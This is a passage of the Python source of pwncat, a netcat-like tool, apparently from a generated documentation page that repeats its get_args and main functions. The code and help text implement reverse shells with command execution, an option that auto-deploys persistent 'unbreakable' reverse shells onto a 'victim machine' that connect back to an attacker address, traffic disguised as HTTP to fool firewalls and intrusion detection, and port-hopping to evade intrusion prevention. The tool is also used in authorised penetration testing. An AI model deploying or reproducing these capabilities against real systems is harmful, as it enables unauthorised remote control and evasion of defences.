If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Note on UDP:
By default UDP does not know if it is connected, so
it will stop at the first port and assume it has a
connection. Consider using --udp-sconnect with this
option to make UDP aware of a successful connection.

""",
    )
    cmode.add_argument(
        "--reconn-wait",
        metavar="s",
        type=float,
        default=1.0,
        help="""Connect mode (TCP and UDP):
Wait x seconds between re-connects. (default: 1)

""",
    )
    cmode.add_argument(
        "--reconn-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted and --reconn is specified, the client
will shuffle ports in round-robin mode to connect to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --reconn to at least the number of ports to probe +1
This helps reverse shell to evade intrusiona prevention
systems that will cut your connection and block the
outbound port.
This is also useful in Connect or Zero-I/O mode to
figure out what outbound ports are allowed.

""",
    )
    cmode.add_argument(
        "--ping-init",
        action="store_true",
        default=False,
        help="""Connect mode (TCP and UDP):
UDP is a stateless protocol unlike TCP, so no hand-
shake communication takes place and the client just
sends data to a server without being "accepted" by
the server first.
This means a server waiting for an UDP client to
connect to, is unable to send any data to the client,
before the client hasn't send data first. The server
simply doesn't know the IP address before an initial
connect.
The --ping-init option instructs the client to send one
single initial ping packet to the server, so that it is
able to talk to the client.
This is a way to make a UDP reverse shell work.
See --ping-word for what char/string to send as initial
ping packet (default: '\\0')

""",
    )
    cmode.add_argument(
        "--ping-intvl",
        metavar="s",
        type=int,
        default=False,
        help="""Connect mode (TCP and UDP):
Instruct the client to send ping intervalls every s sec.
This allows you to restart your UDP server and just wait
for the client to report back in. This might be handy
for stable UDP reverse shells ;-)
See --ping-word for what char/string to send as initial
ping packet (default: '\\0')

""",
    )
    cmode.add_argument(
        "--ping-word",
        metavar="str",
        type=str,
        default="\0",
        help="""Connect mode (TCP and UDP):
Change the default character '\\0' to use for upd ping.
Single character or strings are supported.

""",
    )
    # TODO: Isn't this already covered by --reconn-robin or --zero
    # What should be the behaviour (keep connection or hop on?)
    cmode.add_argument(
        "--ping-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Connect mode (TCP and UDP):
Instruct the client to shuffle the specified ports in
round-robin mode for a remote server to ping.
This might be handy to scan outbound allowed ports.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Use --ping-intvl 0 to be faster.

""",
    )
    cmode.add_argument(
        "--udp-sconnect",
        action="store_true",
        default=False,
        help="""Connect mode (UDP only):
Emulating stateful behaviour for UDP connect phase by
sending an initial packet to the server to validate if
it is actually connected.
By default, UDP will simply issue a connect and is not
aware if it is really connected or not.
The default connect packet to be send is '\\0', you
can change this with --udp-sconnect-word.

""",
    )
    cmode.add_argument(
        "--udp-sconnect-word",
        nargs="?",
        metavar="str",
        type=str,
        default="\0",
        help="""Connect mode (UDP only):
Change the the data to be send for UDP stateful connect
behaviour. Note you can also omit the string to send an
empty packet (EOF), but be aware that some servers such
as netcat will instantly quit upon receive of an EOF
packet.
The default is to send a null byte sting: '\\0'.
""",
    )

    # --------------------------------------------------------------------------
    # Misc arguments
    # --------------------------------------------------------------------------
    misc.add_argument("-h", "--help", action="help", help="Show this help message and exit")
    misc.add_argument(
        "-V",
        "--version",
        action="version",
        version=get_version(),
        help="Show version information and exit",
    )

    # Retrieve arguments
    args = parser.parse_args()

    # Check mutually exclive arguments
    _args_check_mutually_exclusive(parser, args)

    # Only Zero-I/O mode allows multiple ports
    if not args.zero and len(args.port) > 1:
        parser.print_usage()
        print(
            "%s: error: Only Zero-I/O mode supports multiple ports" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # Connect mode and Zero-I/O mode require hostname and port to be set
    connect_mode = not (args.listen or args.zero or args.local or args.remote)
    if (connect_mode or args.zero or args.local) and not args.hostname:
        parser.print_usage()
        print(
            "%s: error: the following arguments are required: hostname" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # Deny unimplemented modes
    if args.https:
        print("Unimplemented options", file=sys.stderr)
        sys.exit(1)

    return args


# #################################################################################################
# #################################################################################################
# ###
# ###   11 / 11   M A I N   E N T R Y P O I N T
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [11/11 MAIN ENTRYPOINT]: (1/2) main
# -------------------------------------------------------------------------------------------------
def main():
    # type: () -> None
    """Run the program."""
    args = get_args()

    # Determine current mode
    mode = None
    if not (args.listen or args.local or args.remote or args.zero):
        mode = "connect"
        ports = [args.port[0]]
    elif args.listen:
        mode = "listen"
        ports = [args.port[0]]
    elif args.local:
        mode = "local"
        ports = [args.port[0]]
    elif args.remote:
        mode = "remote"
        ports = [args.port[0]]
    elif args.zero:
        mode = "scan"
        ports = args.port
    assert mode is not None

    host = args.hostname

    # No argument supplied --udp-sconnect-word to it
    if args.udp_sconnect_word is None:
        udp_sconnect_word = ""
    # --udp-sconnect-word not specified
    elif args.udp_sconnect_word == "":
        udp_sconnect_word = "\0"
    else:
        udp_sconnect_word = args.udp_sconnect_word

    reconn = -1 if args.reconn is None else args.reconn
    rebind = -1 if args.rebind is None else args.rebind

    # Set pwncat options
    sock_opts = DsIONetworkSock(
        RECV_BUFSIZE,
        LISTEN_BACKLOG,
        TIMEOUT_RECV_SOCKET,
        TIMEOUT_RECV_SOCKET_RETRY,
        args.nodns,
        args.ipv4,
        args.ipv6,
        args.source_addr,
        args.source_port,
        args.udp,
        True if args.zero else args.udp_sconnect,
        udp_sconnect_word,
        args.tos,
        args.info,
    )
    srv_opts = DsIONetworkSrv(args.keep_open, rebind, args.rebind_wait, args.rebind_robin)
    cli_opts = DsIONetworkCli(reconn, args.reconn_wait, args.reconn_robin)

    # Map pwncat verbosity to Python's Logger loglevel
    logmap = {
        0: logging.ERROR,
        1: logging.WARNING,
        2: logging.INFO,
        3: logging.DEBUG,
    }
    loglevel = logmap.get(args.verbose, TraceLogger.LEVEL_NUM)

    # Use a colored log formatter
    formatter = ColoredLogFormatter(args.color, loglevel)
    handler = logging.StreamHandler()
    handler.setLevel(loglevel)
    handler.setFormatter(formatter)

    # Use a custom logger with TRACE level
    logging.setLoggerClass(TraceLogger)
    logger = logging.getLogger(__name__)
    logger.setLevel(loglevel)
    logger.addHandler(handler)

    # Initialize encoder
    enc = StringEncoder()

    # Initialize interrupt handler
    ssig = InterruptHandler(args.keep_open, args.no_shutdown)

    # Initialize transformers
    transformers = []
    if args.safe_word is not None:
        transformers.append(TransformSafeword(DsTransformSafeword(ssig, args.safe_word)))
    if args.crlf is not None:
        transformers.append(TransformLinefeed(DsTransformLinefeed(args.crlf)))

    # Initialize scripting engine transformers
    code_send = None
    code_recv = None
    if args.script_send is not None:
        code_send = compile(args.script_send, "<script-send>", "exec")
    if args.script_recv is not None:
        code_recv = compile(args.script_recv, "<script-recv>", "exec")

    # Use command modulde
    if args.cmd:
        mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE))
    # Use output module
    else:
        mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof))

    # Run local port-forward
    # -> listen locally and forward traffic to remote (connect)
    if mode == "local":
        # Enure to re-connect forever during local port forward
        cli_opts.reconn = -1
        cli_opts.reconn_wait = 0.0
        srv_opts.keep_open = True
        lhost = args.local.split(":")[0]
        lport = int(args.local.split(":")[1])
        if not lhost:
            lhost = None
        # Create listen and client instances
        net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts)
        net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
        # Create Runner
        run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli]))
        run.add_action(
            "TRANSMIT",
            DsRunnerAction(
                DsCallableProducer(net_srv.producer),  # (recv) USER sends data to PC-SERVER
                net_cli.consumer,  # (send) Data parsed on to PC-CLIENT to send to TARGET
                [net_cli.interrupt, net_srv.interrupt],
                transformers,
                False,
                None,
            ),
        )
        run.add_action(
            "RECEIVE",
            DsRunnerAction(
                DsCallableProducer(net_cli.producer),  # (recv) Data back from TARGET to PC-CLIENT
                net_srv.consumer,  # (send) Data parsed on to PC-SERVER to back send to USER
                [net_cli.interrupt, net_srv.interrupt],
                transformers,
                False,
                None,
            ),
        )
        run.run()

    # Run remote port-forward
    # -> connect to client, connect to target and proxy traffic in between.
    if mode == "remote":
        # TODO: Make the listen address optional!
        # Enure to re-connect forever during remote port forward
        cli_opts.reconn = -1
        cli_opts.reconn_wait = 0.0
        lhost = args.remote.split(":")[0]
        lport = int(args.remote.split(":")[1])
        # Create local and remote client
        net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts)
        net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
        # Create Runner
        run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r]))
        run.add_action(
            "TRANSMIT",
            DsRunnerAction(
                DsCallableProducer(net_cli_l.producer),  # (recv) USER sends data to PC-SERVER
                net_cli_r.consumer,  # (send) Data parsed on to PC-CLIENT to send to TARGET
                [],
                transformers,
                False,
                None,
            ),
        )
        run.add_action(
            "RECEIVE",
            DsRunnerAction(
                DsCallableProducer(net_cli_r.producer),  # (recv) Data back from TARGET to PC-CLIENT
                net_cli_l.consumer,  # (send) Data parsed on to PC-SERVER to back send to USER
                [],
                transformers,
                False,
                None,
            ),
        )
        run.run()

    # Port Scan
    if mode == "scan":
        print("Scanning {} ports".format(len(ports)))
        net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts)
        run = Runner(ssig, True, PSEStore(ssig, [net]))
        for port in ports:
            run.add_action(
                "PORT-{}".format(port),
                DsRunnerAction(
                    DsCallableProducer(net.producer, port),  # Send port scans
                    net.consumer,  # Output results
                    [net.interrupt],
                    [],
                    True,
                    None,
                ),
            )
        run.run()

    # Run server
    if mode == "listen":
        net = IONetwork(
            ssig, enc, host, ports + args.rebind_robin, "server", srv_opts, cli_opts, sock_opts
        )
        # Run blocking auto-deploy.
        # This will hand over to normal listening server on success or failure
        if args.self_inject:
            cnc_cmd, cnc_host, cnc_port = args.self_inject.split(":")
            cnc_ports = ArgValidator.get_port_list_from_string(cnc_port)
            CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports)

        if args.http:
            trans_recv = [TransformHttpUnpack({})] + transformers
            trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers
        else:
            trans_recv = transformers
            trans_send = transformers

        run = Runner(ssig, False, PSEStore(ssig, [net]))
        run.add_action(
            "RECV",
            DsRunnerAction(
                DsCallableProducer(net.producer),  # receive data
                mod.consumer,
                [net.interrupt],
                trans_recv,
                False,
                code_recv,
            ),
        )
        run.add_action(
            "STDIN",
            DsRunnerAction(
                DsCallableProducer(mod.producer),
                net.consumer,  # send data
                [mod.interrupt],
                trans_send,
                False,
                code_send,
            ),
        )
        run.run()

    # Run client
    if mode == "connect":
        net = IONetwork(
            ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts
        )

        if args.http:
            trans_recv = [TransformHttpUnpack({})] + transformers
            trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers
        else:
            trans_recv = transformers
            trans_send = transformers

        run = Runner(ssig, False, PSEStore(ssig, [net]))
        run.add_action(
            "RECV",
            DsRunnerAction(
                DsCallableProducer(net.producer),  # receive data
                mod.consumer,
                [net.interrupt],
                trans_recv,
                False,
                code_recv,
            ),
        )
        run.add_action(
            "STDIN",
            DsRunnerAction(
                DsCallableProducer(mod.producer),
                net.consumer,  # send data
                [mod.interrupt],
                trans_send,
                False,
                code_send,
            ),
        )
        if type(args.ping_intvl) is int and args.ping_intvl > 0:
            payload = StringEncoder.encode(args.ping_word)
            run.add_timer(
                "PING-INT",
                DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}),  # send data
            )
        if args.ping_init:
            payload = StringEncoder.encode(args.ping_word)
            run.add_repeater(
                "PING-REP",
                DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}),  # send data
            )
        run.run()


# -------------------------------------------------------------------------------------------------
# [11/11 MAIN ENTRYPOINT]: (2/2) start
# -------------------------------------------------------------------------------------------------
if __name__ == "__main__":
    main()

Functions

def get_args()

Retrieve command line arguments.

Expand source code 
def get_args():
    # type: () -> argparse.Namespace
    """Retrieve command line arguments."""
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawTextHelpFormatter,
        add_help=False,
        usage="""%(prog)s [options] hostname port
       %(prog)s [options] -l [hostname] port
       %(prog)s [options] -z hostname port
       %(prog)s [options] -L [addr:]port hostname port
       %(prog)s [options] -R addr:port hostname port
       %(prog)s -V, --version
       %(prog)s -h, --help
       """
        % ({"prog": APPNAME}),
        description="""
Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.""",
    )

    positional = parser.add_argument_group("positional arguments")
    mode = parser.add_argument_group("mode arguments")
    optional = parser.add_argument_group("optional arguments")
    protocol = parser.add_argument_group("protocol arguments")
    cnc = parser.add_argument_group("command & control arguments")
    pse = parser.add_argument_group("pwncat scripting engine")
    zero = parser.add_argument_group("zero-i/o mode arguments")
    lmode = parser.add_argument_group("listen mode arguments")
    cmode = parser.add_argument_group("connect mode arguments")
    misc = parser.add_argument_group("misc arguments")

    # --------------------------------------------------------------------------
    # Positional arguments
    # --------------------------------------------------------------------------
    positional.add_argument(
        "hostname",
        nargs="?",
        type=str,
        help="""Address to listen, forward, scan or connect to.

""",
    )
    positional.add_argument(
        "port",
        type=ArgValidator.type_port_list,
        help="""[All modes]
Single port to listen, forward or connect to.
[Zero-I/O mode]
Specify multiple ports to scan:
Via list:  4444,4445,4446
Via range: 4444-4446
Via incr:  4444+2
""",
    )

    # --------------------------------------------------------------------------
    # Mode arguments
    # --------------------------------------------------------------------------
    mode.add_argument(
        "-l",
        "--listen",
        action="store_true",
        default=False,
        help="""[Listen mode]:
Start a server and listen for incoming connections.
If using TCP and a connected client disconnects or the
connection is interrupted otherwise, the server will
quit. See -k/--keep-open to change this behaviour.

""",
    )
    mode.add_argument(
        "-z",
        "--zero",
        action="store_true",
        default=False,
        help="""[Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
Used for port scanning.
See --banner for version detection.

""",
    )
    mode.add_argument(
        "-L",
        "--local",
        metavar="[addr:]port",
        type=ArgValidator.type_local,
        default=False,
        help="""[Local forward mode]:
This mode will start a server and a client internally.
The internal server will listen locally on specified
addr/port (given by --local [addr:]port).
The server will then forward traffic to the internal
client which connects to another server specified by
hostname/port given via positional arguments.
(I.e.: proxies a remote service to a local address)

""",
    )
    mode.add_argument(
        "-R",
        "--remote",
        metavar="addr:port",
        type=ArgValidator.type_remote,
        default=False,
        help="""[Remote forward mode]:
This mode will start two clients internally. One is
connecting to the target and one is connecting to
another pwncat/netcat server you have started some-
where. Once connected, it will then proxy traffic
between you and the target.
This mode should be applied on machines that block
incoming traffic and only allow outbound.
The connection to your listening server is given by
-R/--remote addr:port and the connection to the
target machine via the positional arguments.
""",
    )

    # --------------------------------------------------------------------------
    # Optional arguments
    # --------------------------------------------------------------------------
    optional.add_argument(
        "-e",
        "--exec",
        metavar="cmd",
        type=str,
        default=False,
        dest="cmd",
        help="""Execute shell command. Only for connect or listen mode.

""",
    )
    # TODO: add --crlf-i and --crlf-o to only do this on input or output and have
    # --crlf to always do it on input and output!
    optional.add_argument(
        "-C",
        "--crlf",
        metavar="lf",
        type=ArgValidator.type_crlf,
        default=None,
        help="""Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
'no' to completely remove any line feeds. By default
it will not replace anything and takes what is entered
(usually CRLF on Windows, LF on Linux and some times
CR on MacOS).

""",
    )
    optional.add_argument(
        "-n",
        "--nodns",
        action="store_true",
        default=False,
        help="""Do not resolve DNS.

""",
    )
    optional.add_argument(
        "--send-on-eof",
        action="store_true",
        default=False,
        help="""Buffer data received on stdin until EOF and send
everything in one chunk.

""",
    )
    optional.add_argument(
        "--no-shutdown",
        action="store_true",
        default=False,
        help="""Do not shutdown into half-duplex mode.
If this option is passed, pwncat won't invoke shutdown
on a socket after seeing EOF on stdin. This is provided
for backward-compatibility with OpenBSD netcat, which
exhibits this behavior.

""",
    )
    optional.add_argument(
        "-v",
        "--verbose",
        action="count",
        default=0,
        help="""Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three times.

""",
    )
    optional.add_argument(
        "--info",
        metavar="type",
        type=ArgValidator.type_info,
        default=None,
        help="""Show additional info about sockets, IPv4/6 or TCP opts
applied to the current socket connection. Valid
parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
Note, you must at least be in INFO verbose mode in order
to see them (-vv).

""",
    )
    optional.add_argument(
        "-c",
        "--color",
        metavar="str",
        type=ArgValidator.type_color,
        default="auto",
        help="""Colored log output. Specify 'always', 'never' or 'auto'.
In 'auto' mode, color is displayed as long as the output
goes to a terminal. If it is piped into a file, color
will automatically be disabled. This mode also disables
color on Windows by default. (default: auto)

""",
    )
    optional.add_argument(
        "--safe-word",
        metavar="str",
        type=str,
        default=None,
        help="""All modes:
If %(prog)s is started with this argument, it will shut
down as soon as it receives the specified string. The
--keep-open (server) or --reconn (client) options will
be ignored and it won't listen again or reconnect to you.
Use a very unique string to not have it shut down
accidentally by other input.
"""
        % ({"prog": APPNAME}),
    )

    # --------------------------------------------------------------------------
    # Protocol arguments
    # --------------------------------------------------------------------------
    protocol.add_argument(
        "-4",
        dest="ipv4",
        action="store_true",
        default=False,
        help="""Only Use IPv4 (default: IPv4 and IPv6 dualstack).

""",
    )
    protocol.add_argument(
        "-6",
        action="store_true",
        default=False,
        dest="ipv6",
        help="""Only Use IPv6 (default: IPv4 and IPv6 dualstack).

""",
    )
    protocol.add_argument(
        "-u",
        "--udp",
        action="store_true",
        default=False,
        help="""Use UDP for the connection instead of TCP.

""",
    )
    protocol.add_argument(
        "-T",
        "--tos",
        metavar="str",
        type=ArgValidator.type_tos,
        default=None,
        help="""Specifies IP Type of Service (ToS) for the connection.
Valid values are the tokens 'mincost', 'lowcost',
'reliability', 'throughput' or 'lowdelay'.

""",
    )
    protocol.add_argument(
        "--http",
        action="store_true",
        default=False,
        help="""Connect / Listen mode (TCP and UDP):
Hide traffic in http packets to fool Firewalls/IDS/IPS.

""",
    )
    protocol.add_argument(
        "--https",
        action="store_true",
        default=False,
        help="""Connect / Listen mode (TCP and UDP):
Hide traffic in https packets to fool Firewalls/IDS/IPS.

""",
    )
    protocol.add_argument(
        "-H",
        "--header",
        metavar="str",
        nargs="*",
        default=[],
        help="""Add HTTP headers to your request when using --http(s).""",
    )

    # --------------------------------------------------------------------------
    # Command & Control arguments
    # --------------------------------------------------------------------------
    cnc.add_argument(
        "--self-inject",
        metavar="cmd:host:port[s]",
        type=ArgValidator.type_self_inject,
        default=None,
        help="""Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
start your listening server with this argument.
This will then (as soon as the reverse shell connects)
automatically deploy and background-run an unbreakable
pwncat reverse shell onto the victim machine which then
also connects back to you with specified arguments.
Example: '--self-inject /bin/bash:10.0.0.1:4444'
It is also possible to launch multiple reverse shells by
specifying multiple ports.
Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
Note: this is currently an experimental feature and does
not work on Windows remote hosts yet.
""",
    )

    # --------------------------------------------------------------------------
    # PSE arguments
    # --------------------------------------------------------------------------
    pse.add_argument(
        "--script-send",
        metavar="file",
        type=ArgValidator.type_file_content,
        default=None,
        help="""All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed before
sending data to a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
    # NOTE: the function name must be 'transform'
    # NOTE: the function param name must be 'data'
    # NOTE: indentation must be 4 spaces
    # ... your transformations goes here
    return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().

""",
    )
    pse.add_argument(
        "--script-recv",
        metavar="file",
        type=ArgValidator.type_file_content,
        default=None,
        help="""All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed after
receiving data from a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
    # NOTE: the function name must be 'transform'
    # NOTE: the function param name must be 'data'
    # NOTE: indentation must be 4 spaces
    # ... your transformations goes here
    return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().
""",
    )

    # --------------------------------------------------------------------------
    # Zero-I/O mode arguments
    # --------------------------------------------------------------------------
    zero.add_argument(
        "--banner",
        action="store_true",
        default=False,
        help="""Zero-I/O (TCP and UDP):
Try banner grabbing during port scan.
""",
    )

    # --------------------------------------------------------------------------
    # Listen mode arguments
    # --------------------------------------------------------------------------
    lmode.add_argument(
        "-k",
        "--keep-open",
        action="store_true",
        default=False,
        help="""Listen mode (TCP only):
Re-accept new clients in listen mode after a client has
disconnected or the connection is interrupted otherwise.
(default: server will quit after connection is gone)

""",
    )
    lmode.add_argument(
        "--rebind",
        metavar="x",
        nargs="?",
        type=int,
        default=0,
        help="""Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).

""",
    )
    lmode.add_argument(
        "--rebind-wait",
        metavar="s",
        type=float,
        default=1.0,
        help="""Listen mode (TCP and UDP):
Wait x seconds between re-initialization. (default: 1)

""",
    )
    lmode.add_argument(
        "--rebind-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Listen mode (TCP and UDP):
If the server is unable to initialize (e.g: cannot bind
and --rebind is specified, it it will shuffle ports in
round-robin mode to bind to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --rebind to at least the number of ports to probe +1
This option requires --rebind to be specified.
""",
    )

    # --------------------------------------------------------------------------
    # Connect mode arguments
    # --------------------------------------------------------------------------
    cmode.add_argument(
        "--source-addr",
        metavar="addr",
        type=str,
        default=None,
        dest="source_addr",
        help="""Specify source bind IP address for connect mode.

""",
    )
    cmode.add_argument(
        "--source-port",
        metavar="port",
        type=ArgValidator.type_port,
        default=None,
        dest="source_port",
        help="""Specify source bind port for connect mode.

""",
    )
    cmode.add_argument(
        "--reconn",
        metavar="x",
        nargs="?",
        type=int,
        default=0,
        help="""Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Note on UDP:
By default UDP does not know if it is connected, so
it will stop at the first port and assume it has a
connection. Consider using --udp-sconnect with this
option to make UDP aware of a successful connection.

""",
    )
    cmode.add_argument(
        "--reconn-wait",
        metavar="s",
        type=float,
        default=1.0,
        help="""Connect mode (TCP and UDP):
Wait x seconds between re-connects. (default: 1)

""",
    )
    cmode.add_argument(
        "--reconn-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted and --reconn is specified, the client
will shuffle ports in round-robin mode to connect to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --reconn to at least the number of ports to probe +1
This helps reverse shell to evade intrusiona prevention
systems that will cut your connection and block the
outbound port.
This is also useful in Connect or Zero-I/O mode to
figure out what outbound ports are allowed.

""",
    )
    cmode.add_argument(
        "--ping-init",
        action="store_true",
        default=False,
        help="""Connect mode (TCP and UDP):
UDP is a stateless protocol unlike TCP, so no hand-
shake communication takes place and the client just
sends data to a server without being "accepted" by
the server first.
This means a server waiting for an UDP client to
connect to, is unable to send any data to the client,
before the client hasn't send data first. The server
simply doesn't know the IP address before an initial
connect.
The --ping-init option instructs the client to send one
single initial ping packet to the server, so that it is
able to talk to the client.
This is a way to make a UDP reverse shell work.
See --ping-word for what char/string to send as initial
ping packet (default: '\\0')

""",
    )
    cmode.add_argument(
        "--ping-intvl",
        metavar="s",
        type=int,
        default=False,
        help="""Connect mode (TCP and UDP):
Instruct the client to send ping intervalls every s sec.
This allows you to restart your UDP server and just wait
for the client to report back in. This might be handy
for stable UDP reverse shells ;-)
See --ping-word for what char/string to send as initial
ping packet (default: '\\0')

""",
    )
    cmode.add_argument(
        "--ping-word",
        metavar="str",
        type=str,
        default="\0",
        help="""Connect mode (TCP and UDP):
Change the default character '\\0' to use for upd ping.
Single character or strings are supported.

""",
    )
    # TODO: Isn't this already covered by --reconn-robin or --zero
    # What should be the behaviour (keep connection or hop on?)
    cmode.add_argument(
        "--ping-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Connect mode (TCP and UDP):
Instruct the client to shuffle the specified ports in
round-robin mode for a remote server to ping.
This might be handy to scan outbound allowed ports.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Use --ping-intvl 0 to be faster.

""",
    )
    cmode.add_argument(
        "--udp-sconnect",
        action="store_true",
        default=False,
        help="""Connect mode (UDP only):
Emulating stateful behaviour for UDP connect phase by
sending an initial packet to the server to validate if
it is actually connected.
By default, UDP will simply issue a connect and is not
aware if it is really connected or not.
The default connect packet to be send is '\\0', you
can change this with --udp-sconnect-word.

""",
    )
    cmode.add_argument(
        "--udp-sconnect-word",
        nargs="?",
        metavar="str",
        type=str,
        default="\0",
        help="""Connect mode (UDP only):
Change the the data to be send for UDP stateful connect
behaviour. Note you can also omit the string to send an
empty packet (EOF), but be aware that some servers such
as netcat will instantly quit upon receive of an EOF
packet.
The default is to send a null byte sting: '\\0'.
""",
    )

    # --------------------------------------------------------------------------
    # Misc arguments
    # --------------------------------------------------------------------------
    misc.add_argument("-h", "--help", action="help", help="Show this help message and exit")
    misc.add_argument(
        "-V",
        "--version",
        action="version",
        version=get_version(),
        help="Show version information and exit",
    )

    # Retrieve arguments
    args = parser.parse_args()

    # Check mutually exclive arguments
    _args_check_mutually_exclusive(parser, args)

    # Only Zero-I/O mode allows multiple ports
    if not args.zero and len(args.port) > 1:
        parser.print_usage()
        print(
            "%s: error: Only Zero-I/O mode supports multiple ports" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # Connect mode and Zero-I/O mode require hostname and port to be set
    connect_mode = not (args.listen or args.zero or args.local or args.remote)
    if (connect_mode or args.zero or args.local) and not args.hostname:
        parser.print_usage()
        print(
            "%s: error: the following arguments are required: hostname" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # Deny unimplemented modes
    if args.https:
        print("Unimplemented options", file=sys.stderr)
        sys.exit(1)

    return args
def get_version()

Return version information.

Expand source code 
def get_version():
    # type: () -> str
    """Return version information."""
    return """%(prog)s: Version %(version)s (%(url)s) by %(author)s""" % (
        {"prog": APPNAME, "version": VERSION, "url": APPREPO, "author": "cytopia"}
    )
def main()

Run the program.

Expand source code 
def main():
    # type: () -> None
    """Run the program."""
    args = get_args()

    # Determine current mode
    mode = None
    if not (args.listen or args.local or args.remote or args.zero):
        mode = "connect"
        ports = [args.port[0]]
    elif args.listen:
        mode = "listen"
        ports = [args.port[0]]
    elif args.local:
        mode = "local"
        ports = [args.port[0]]
    elif args.remote:
        mode = "remote"
        ports = [args.port[0]]
    elif args.zero:
        mode = "scan"
        ports = args.port
    assert mode is not None

    host = args.hostname

    # No argument supplied --udp-sconnect-word to it
    if args.udp_sconnect_word is None:
        udp_sconnect_word = ""
    # --udp-sconnect-word not specified
    elif args.udp_sconnect_word == "":
        udp_sconnect_word = "\0"
    else:
        udp_sconnect_word = args.udp_sconnect_word

    reconn = -1 if args.reconn is None else args.reconn
    rebind = -1 if args.rebind is None else args.rebind

    # Set pwncat options
    sock_opts = DsIONetworkSock(
        RECV_BUFSIZE,
        LISTEN_BACKLOG,
        TIMEOUT_RECV_SOCKET,
        TIMEOUT_RECV_SOCKET_RETRY,
        args.nodns,
        args.ipv4,
        args.ipv6,
        args.source_addr,
        args.source_port,
        args.udp,
        True if args.zero else args.udp_sconnect,
        udp_sconnect_word,
        args.tos,
        args.info,
    )
    srv_opts = DsIONetworkSrv(args.keep_open, rebind, args.rebind_wait, args.rebind_robin)
    cli_opts = DsIONetworkCli(reconn, args.reconn_wait, args.reconn_robin)

    # Map pwncat verbosity to Python's Logger loglevel
    logmap = {
        0: logging.ERROR,
        1: logging.WARNING,
        2: logging.INFO,
        3: logging.DEBUG,
    }
    loglevel = logmap.get(args.verbose, TraceLogger.LEVEL_NUM)

    # Use a colored log formatter
    formatter = ColoredLogFormatter(args.color, loglevel)
    handler = logging.StreamHandler()
    handler.setLevel(loglevel)
    handler.setFormatter(formatter)

    # Use a custom logger with TRACE level
    logging.setLoggerClass(TraceLogger)
    logger = logging.getLogger(__name__)
    logger.setLevel(loglevel)
    logger.addHandler(handler)

    # Initialize encoder
